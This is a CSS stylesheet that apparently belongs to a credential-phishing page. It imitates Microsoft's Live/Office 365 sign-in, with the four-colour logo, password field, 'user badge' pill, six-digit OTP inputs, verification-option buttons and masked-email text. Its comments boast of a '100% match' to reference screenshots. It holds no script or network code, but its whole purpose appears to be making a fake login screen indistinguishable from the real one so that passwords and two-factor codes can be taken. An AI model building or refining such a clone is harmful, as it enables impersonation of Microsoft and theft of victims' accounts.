/* ============================================================
   Microsoft Login — Authentic Fluent Design (Dark & Light)
   100% Match with Microsoft Live & Office 365 Authentication
   ============================================================ */

* {
    padding: 0;
    margin: 0;
    box-sizing: border-box;
    font-family: "Segoe UI", -apple-system, BlinkMacSystemFont, Roboto, "Helvetica Neue", sans-serif;
}

/* ── CSS Variables (Default Dark Theme — Matches Image 2) ── */
:root {
    --primary-blue: #0067b8;
    --primary-hover: #005da6;
    --primary-active: #004c87;
    --primary-glow: rgba(0, 103, 184, 0.25);
    --bg-dark: #11141a;
    --card-bg: #292929;
    --card-border: rgba(255, 255, 255, 0.08);
    --text-primary: #ffffff;
    --text-secondary: #cccccc;
    --text-muted: #8c8c8c;
    --link-color: #4ca6e8;
    --link-hover: #74c1ff;
    --input-bg: #202020;
    --input-border: #5a5a5a;
    --input-border-focus: #0078d4;
    --label-bg: #292929;
    --error: #f85149;
    --error-bg: rgba(248, 81, 73, 0.12);
    --error-border: rgba(248, 81, 73, 0.35);
    --shadow: 0 4px 24px rgba(0, 0, 0, 0.45), 0 1px 4px rgba(0, 0, 0, 0.3);
    --shadow-btn: none;
    --transition: all 0.15s cubic-bezier(0.4, 0, 0.2, 1);
    --transition-slow: all 0.25s cubic-bezier(0.4, 0, 0.2, 1);
    --bg-image: url('bg.png');
    --footer-bg: rgba(20, 20, 20, 0.75);
    --badge-bg: rgba(255, 255, 255, 0.04);
    --badge-border: #4f4f4f;
    --border-color: rgba(255, 255, 255, 0.1);
    --text-color: #ffffff;
}

/* ── Light Theme Overrides ───────────────────────────────── */
body.light-theme {
    --bg-dark: #e8ecf0;
    --card-bg: #ffffff;
    --card-border: rgba(0, 0, 0, 0.08);
    --text-primary: #1b1b1b;
    --text-secondary: #444444;
    --text-muted: #666666;
    --link-color: #0067b8;
    --link-hover: #004e8c;
    --input-bg: #ffffff;
    --input-border: #8c8c8c;
    --input-border-focus: #0067b8;
    --primary-blue: #0067b8;
    --primary-hover: #005a9e;
    --primary-active: #004c87;
    --primary-glow: rgba(0, 103, 184, 0.18);
    --shadow-btn: none;
    --error: #d13438;
    --error-bg: rgba(209, 52, 56, 0.08);
    --error-border: rgba(209, 52, 56, 0.3);
    --shadow: 0 4px 24px rgba(0, 0, 0, 0.12), 0 2px 8px rgba(0, 0, 0, 0.06);
    --bg-image: url('bg-light.png');
    --footer-bg: rgba(255, 255, 255, 0.85);
    --badge-bg: transparent;
    --badge-border: #cccccc;
    --border-color: rgba(0, 0, 0, 0.08);
    --text-color: #1b1b1b;
    --label-bg: #ffffff;
}

/* ── Base ────────────────────────────────────────────────── */
html, body {
    min-height: 100vh;
    background: var(--bg-image) no-repeat center center fixed;
    background-size: cover;
    background-color: var(--bg-dark);
    color: var(--text-primary);
    overflow-x: hidden;
}

/* ── Section (page container) ────────────────────────────── */
section {
    display: flex;
    justify-content: center;
    align-items: center;
    min-height: 100vh;
    width: 100%;
    padding: 20px;
    animation: fadeIn 0.25s ease-out both;
}

@keyframes fadeIn {
    from {
        opacity: 0;
        transform: translateY(6px);
    }
    to {
        opacity: 1;
        transform: translateY(0);
    }
}

@keyframes shake {
    0%, 100% { transform: translateX(0); }
    20%, 60%  { transform: translateX(-4px); }
    40%, 80%  { transform: translateX(4px); }
}

@keyframes spin {
    to { transform: rotate(360deg); }
}

@keyframes errorSlide {
    from { opacity: 0; transform: translateY(-4px); max-height: 0; }
    to   { opacity: 1; transform: translateY(0);    max-height: 120px; }
}

/* ── Auth Card (Authentic Microsoft Matte Dark #292929) ── */
.auth-wrapper {
    width: 100%;
    max-width: 460px;
    min-width: 280px;
    padding: 44px 44px 38px 44px;
    background-color: var(--card-bg);
    border: 1px solid var(--card-border);
    box-shadow: var(--shadow);
    text-align: center;
    border-radius: 12px;
    margin-top: -40px;
    position: relative;
    transition: var(--transition-slow);
}

/* ── Microsoft Logo ──────────────────────────────────────── */
.ms-logo {
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 10px;
    margin-bottom: 22px;
    user-select: none;
}

.ms-logo-grid {
    display: grid;
    grid-template-columns: 11px 11px;
    grid-template-rows: 11px 11px;
    gap: 2px;
}

.ms-logo-grid span:nth-child(1) { background: #f25022; }
.ms-logo-grid span:nth-child(2) { background: #7fba00; }
.ms-logo-grid span:nth-child(3) { background: #00a4ef; }
.ms-logo-grid span:nth-child(4) { background: #ffb900; }

.ms-logo-text {
    font-size: 20px;
    font-weight: 600;
    color: var(--text-primary);
    letter-spacing: -0.2px;
}

/* ── Title & Subtitle ────────────────────────────────────── */
.title {
    font-size: 24px;
    font-weight: 600;
    color: var(--text-primary);
    margin-bottom: 8px;
    text-align: center;
    letter-spacing: -0.2px;
}

.subtitle {
    font-size: 14.5px;
    color: var(--text-secondary);
    margin-bottom: 22px;
    text-align: center;
    line-height: 1.45;
}

.subtitle strong {
    color: var(--text-primary);
    font-weight: 600;
}

/* ── Floating Label Input ────────────────────────────────── */
.input-wrapper {
    position: relative;
    margin-bottom: 8px;
    text-align: left;
}

.input-wrapper .input {
    width: 100%;
    padding: 20px 12px 6px 12px;
    font-size: 15px;
    color: var(--text-primary);
    background-color: var(--input-bg);
    border: 1px solid var(--input-border);
    border-radius: 4px;
    outline: none;
    transition: var(--transition);
}

.input-wrapper .floating-label {
    position: absolute;
    left: 12px;
    top: 50%;
    transform: translateY(-50%);
    font-size: 14px;
    color: var(--text-muted);
    pointer-events: none;
    transition: var(--transition);
    background: transparent;
    padding: 0 4px;
}

.input-wrapper .input:focus + .floating-label,
.input-wrapper .input:not(:placeholder-shown) + .floating-label {
    top: 0;
    transform: translateY(-50%);
    font-size: 11px;
    color: var(--text-secondary);
    background: var(--label-bg);
}

/* Focus: blue bottom line — authentic Microsoft Fluent */
.input-wrapper .input:focus {
    border-color: var(--input-border);
    border-bottom-color: var(--input-border-focus);
    border-bottom-width: 2px;
    padding-bottom: 5px;
}

/* Browser autofill color override */
.input-wrapper .input:-webkit-autofill,
.input-wrapper .input:-webkit-autofill:hover,
.input-wrapper .input:-webkit-autofill:focus,
.input-wrapper .input:-webkit-autofill:active {
    -webkit-box-shadow: 0 0 0px 1000px var(--input-bg) inset !important;
    -webkit-text-fill-color: var(--text-primary) !important;
    caret-color: var(--text-primary) !important;
    border-color: var(--input-border) !important;
    transition: background-color 9999s ease-in-out 0s;
}

/* Error state */
.input-wrapper .input.error-inp {
    border-color: var(--error) !important;
    animation: shake 0.35s ease-in-out;
}

.input-wrapper .input.error-inp + .floating-label {
    color: var(--error);
}

/* ── Password Toggle ─────────────────────────────────────── */
.password-toggle {
    position: absolute;
    right: 10px;
    top: 50%;
    transform: translateY(-50%);
    cursor: pointer;
    color: var(--text-secondary);
    display: flex;
    align-items: center;
    justify-content: center;
    width: 32px;
    height: 32px;
    border-radius: 50%;
    transition: var(--transition);
    z-index: 10;
    opacity: 0.8;
}

.password-toggle:hover {
    background-color: rgba(255, 255, 255, 0.1);
    opacity: 1;
}

body.light-theme .password-toggle:hover {
    background-color: rgba(0, 0, 0, 0.06);
}

/* ── Error Box ───────────────────────────────────────────── */
.error-box {
    display: none;
    overflow: hidden;
    background: var(--error-bg);
    border: 1px solid var(--error-border);
    border-left: 3px solid var(--error);
    border-radius: 4px;
    padding: 10px 14px;
    margin-bottom: 16px;
    color: #ffaaaa;
    font-size: 13px;
    line-height: 1.5;
    text-align: left;
    align-items: flex-start;
    gap: 10px;
}

body.light-theme .error-box {
    color: #c02020;
}

.error-box.show {
    display: flex;
    animation: errorSlide 0.22s cubic-bezier(0.4, 0, 0.2, 1) both;
}

.error-box::before {
    content: '';
    width: 16px;
    height: 16px;
    min-width: 16px;
    margin-top: 1px;
    background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' fill='%23f85149'%3E%3Cpath d='M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z'/%3E%3C/svg%3E");
    background-size: contain;
    flex-shrink: 0;
}

/* ── Links ───────────────────────────────────────────────── */
.link-row {
    text-align: left;
    margin: 16px 0;
}

a.link {
    text-decoration: none;
    color: var(--link-color);
    font-size: 13px;
    transition: var(--transition);
}

a.link:hover {
    color: var(--link-hover);
    text-decoration: underline;
}

/* ── Primary Button (Solid Microsoft Blue — Matches Image 2) ── */
.btn {
    width: 100%;
    padding: 9px 18px;
    min-height: 38px;
    font-size: 15px;
    font-weight: 600;
    color: #ffffff;
    background: var(--primary-blue);
    border: none;
    border-radius: 4px;
    cursor: pointer;
    transition: background 0.15s ease, opacity 0.15s ease;
    margin-top: 22px;
    display: inline-flex;
    align-items: center;
    justify-content: center;
    line-height: 1.4;
    text-align: center;
    user-select: none;
}

.btn:hover:not(:disabled) {
    background: var(--primary-hover);
}

.btn:active:not(:disabled) {
    background: var(--primary-active);
}

.btn:disabled {
    background: #3a3a3a;
    color: #888888;
    cursor: not-allowed;
    opacity: 0.65;
}

body.light-theme .btn:disabled {
    background: #cccccc;
    color: #777777;
}

/* Secondary button */
.btn-sec {
    background: transparent !important;
    border: 1px solid rgba(255, 255, 255, 0.28) !important;
    color: var(--text-primary) !important;
}

.btn-sec:hover:not(:disabled) {
    background: rgba(255, 255, 255, 0.08) !important;
    border-color: rgba(255, 255, 255, 0.4) !important;
}

body.light-theme .btn-sec {
    background: #ffffff !important;
    border: 1px solid #8c8c8c !important;
    color: #1b1b1b !important;
}

body.light-theme .btn-sec:hover:not(:disabled) {
    background: #f3f3f3 !important;
}

/* Button group */
.btn-group {
    display: flex;
    gap: 10px;
    justify-content: flex-end;
    margin-top: 22px;
}

.btn-group .btn {
    width: auto;
    min-width: 88px;
    margin-top: 0;
}

/* ── Create Account Row ──────────────────────────────────── */
.create-account-row {
    margin-top: 24px;
    font-size: 13px;
    color: var(--text-secondary);
}

/* ── Header Row (Back + Logo) ────────────────────────────── */
.header-row {
    display: flex;
    align-items: center;
    justify-content: center;
    margin-bottom: 20px;
    position: relative;
}

.back-btn {
    position: absolute;
    left: 0;
    display: flex;
    align-items: center;
    justify-content: center;
    width: 32px;
    height: 32px;
    background: transparent;
    border: none;
    border-radius: 50%;
    cursor: pointer;
    transition: var(--transition);
    opacity: 0.8;
}

.back-btn:hover {
    background-color: rgba(255, 255, 255, 0.1);
    opacity: 1;
}

body.light-theme .back-btn:hover {
    background-color: rgba(0, 0, 0, 0.06);
}

.back-btn svg {
    width: 18px;
    height: 18px;
    fill: var(--text-primary);
}

.header-row .ms-logo {
    margin-bottom: 0;
}

/* ── User Badge (Matches Image 2 — Clean Pill, NO green dot) ── */
.user-badge {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    padding: 4px 14px;
    background: var(--badge-bg);
    border: 1px solid var(--badge-border);
    border-radius: 100px;
    font-size: 13.5px;
    color: var(--text-secondary);
    margin-bottom: 22px;
    transition: var(--transition);
    max-width: 90%;
    word-break: break-all;
}

/* Removed green dot so pill matches Image 2 exactly */
.user-badge::before {
    display: none !important;
}

/* ── Options Link ────────────────────────────────────────── */
.options-link {
    display: block;
    text-align: center;
    color: var(--link-color);
    font-size: 13px;
    text-decoration: none;
    margin-top: 22px;
    transition: var(--transition);
}

.options-link:hover {
    color: var(--link-hover);
    text-decoration: underline;
}

/* ── Checkbox ────────────────────────────────────────────── */
.has-checkbox {
    display: flex;
    align-items: center;
    gap: 10px;
    cursor: pointer;
    font-size: 13px;
    color: var(--text-secondary);
    margin: 16px 0;
    text-align: left;
}

.has-checkbox:hover {
    color: var(--text-primary);
}

.checkbox {
    width: 18px;
    height: 18px;
    accent-color: var(--primary-blue);
    cursor: pointer;
    flex-shrink: 0;
}

.p {
    font-size: 13px;
    color: var(--text-secondary);
    line-height: 1.5;
    margin: 16px 0;
    text-align: left;
}

/* ── OTP (2FA) Inputs ────────────────────────────────────── */
.otp-inputs {
    display: flex;
    gap: 9px;
    justify-content: center;
    margin: 18px 0 12px;
}

.otp-inputs input,
.otp-digit {
    width: 44px;
    height: 50px;
    text-align: center;
    font-size: 22px;
    font-weight: 600;
    border: 1px solid var(--input-border);
    background: var(--input-bg);
    color: var(--text-primary);
    border-radius: 2px;
    outline: none;
    transition: border-color 0.15s ease;
    caret-color: var(--text-primary);
}

.otp-inputs input:focus,
.otp-digit:focus {
    border-color: var(--input-border-focus);
}

.otp-desc {
    font-size: 14px;
    color: var(--text-secondary);
    text-align: center;
    margin: 8px 0 6px;
    line-height: 1.5;
}

.masked-email {
    font-weight: 600;
    color: var(--text-primary);
}

/* ── Footer ──────────────────────────────────────────────── */
.footer {
    position: fixed;
    bottom: 0;
    left: 0;
    right: 0;
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 4px;
    padding: 8px 24px;
    background: var(--footer-bg);
    border-top: 1px solid var(--border-color);
}

.footer-links {
    display: flex;
    gap: 20px;
}

.footer a {
    color: var(--text-muted);
    font-size: 11px;
    text-decoration: none;
    transition: var(--transition);
}

.footer a:hover {
    color: var(--text-secondary);
    text-decoration: underline;
}

.footer-notice {
    font-size: 11px;
    color: var(--text-muted);
}

.footer-notice a {
    color: var(--link-color);
}

/* ── Spinner ─────────────────────────────────────────────── */
.spinner {
    display: inline-block;
    width: 14px;
    height: 14px;
    border: 2px solid rgba(255, 255, 255, 0.28);
    border-radius: 50%;
    border-top-color: #ffffff;
    animation: spin 0.75s linear infinite;
    margin-right: 8px;
    vertical-align: middle;
}

/* ── Utility ─────────────────────────────────────────────── */
.d-none { display: none !important; }
.mb-16  { margin-bottom: 16px; }
.mb-24  { margin-bottom: 24px; }
.mt-16  { margin-top: 16px; }

/* ── Verify Options (Matches Image 1 & Image 2 in Dark Mode) ── */
.verify-options {
    display: flex;
    flex-direction: column;
    gap: 12px;
    margin: 18px 0;
    width: 100%;
}

.verify-option-btn {
    display: flex;
    align-items: center;
    gap: 14px;
    width: 100%;
    padding: 14px 18px;
    background: #252525;
    border: 1px solid #3d3d3d;
    border-radius: 4px;
    cursor: pointer;
    color: #ffffff;
    font-size: 14.5px;
    text-align: left;
    transition: background 0.15s ease, border-color 0.15s ease;
    outline: none;
}

.verify-option-btn:hover {
    background: #303030;
    border-color: #555555;
}

.verify-option-btn:active {
    background: #202020;
}

body.light-theme .verify-option-btn {
    background: #f7f7f7;
    border: 1px solid #d2d2d2;
    color: #1b1b1b;
}

body.light-theme .verify-option-btn:hover {
    background: #eeeeee;
    border-color: #999999;
}

.verify-icon {
    display: flex;
    align-items: center;
    justify-content: center;
    width: 24px;
    height: 24px;
    color: #ffffff;
    flex-shrink: 0;
}

body.light-theme .verify-icon {
    color: #242424;
}

.verify-text {
    flex: 1;
    line-height: 1.4;
    color: #ffffff;
    font-size: 14.5px;
}

body.light-theme .verify-text {
    color: #1b1b1b;
}

.verify-text strong {
    color: #ffffff;
    font-weight: 600;
}

body.light-theme .verify-text strong {
    color: #000000;
}

.verify-arrow {
    display: none;
}

/* ── Responsive Mobile ───────────────────────────────────── */
@media screen and (max-width: 600px) {
    html, body {
        background-image: none !important;
        background-color: var(--bg-dark) !important;
        height: 100vh;
        overflow: hidden;
    }

    section {
        padding: 0;
        height: 100vh;
        align-items: center;
        justify-content: center;
    }

    .auth-wrapper {
        box-shadow: none;
        background-color: transparent;
        border: none;
        border-radius: 0;
        padding: 28px 24px;
        margin: 0;
        width: 100%;
        max-width: 100%;
        height: 100%;
        display: flex;
        flex-direction: column;
        justify-content: center;
    }

    .footer {
        background: transparent;
        border-top: none;
        padding-bottom: 16px;
        position: absolute;
        bottom: 0;
    }

    .footer-links { gap: 16px; }
    .ms-logo { margin-bottom: 20px; }

    .btn {
        padding: 12px 18px;
        font-size: 16px;
    }

    .input-wrapper .input {
        padding: 22px 12px 8px 12px;
        font-size: 16px;
    }

    .otp-inputs input,
    .otp-digit {
        width: 40px;
        height: 48px;
        font-size: 20px;
    }
}
